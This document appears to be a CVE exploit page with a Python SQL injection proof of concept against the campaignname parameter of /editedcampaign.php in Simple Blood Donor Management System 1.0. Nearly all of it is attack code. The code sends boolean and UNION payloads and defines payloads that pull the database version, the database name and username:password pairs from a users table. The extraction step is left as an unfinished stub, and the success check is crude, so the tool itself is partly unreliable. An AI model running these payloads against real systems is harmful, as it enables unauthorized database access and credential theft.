CVE-2025-14961 Simple Blood Donor Management System SQL注入漏洞

# CVE-2025-14961 SQL Injection PoC # Target: Simple Blood Donor Management System 1.0 # File: /editedcampaign.php # Parameter: campaignname import requests import sys target_url = "http://target-site.com/editedcampaign.php" # Basic SQL Injection PoC - Boolean Based payload_blind = "' OR 1=1 ---" payload_union = "' UNION SELECT NULL,NULL,version() ---" def test_blind_injection(url, param_name): """Test for boolean-based blind SQL injection""" data = {param_name: payload_blind} try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Potential SQL injection detected with payload: {payload_blind}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def test_union_injection(url, param_name): """Test for UNION-based SQL injection to extract data""" data = {param_name: payload_union} try: response = requests.post(url, data=data, timeout=10) if '5.' in response.text or 'MariaDB' in response.text: print(f"[+] Database version exposed via UNION injection") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(url, param_name): """Extract sensitive data using UNION injection""" # Extract database name payload_db = "' UNION SELECT NULL,database() ---" # Extract users table data payload_users = "' UNION SELECT NULL,CONCAT(username,':',password) FROM users ---" print("[*] Extracting database information...") # Additional exploitation steps would go here if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] print(f"[*] Testing target: {target_url}") test_blind_injection(target_url, "campaignname") test_union_injection(target_url, "campaignname")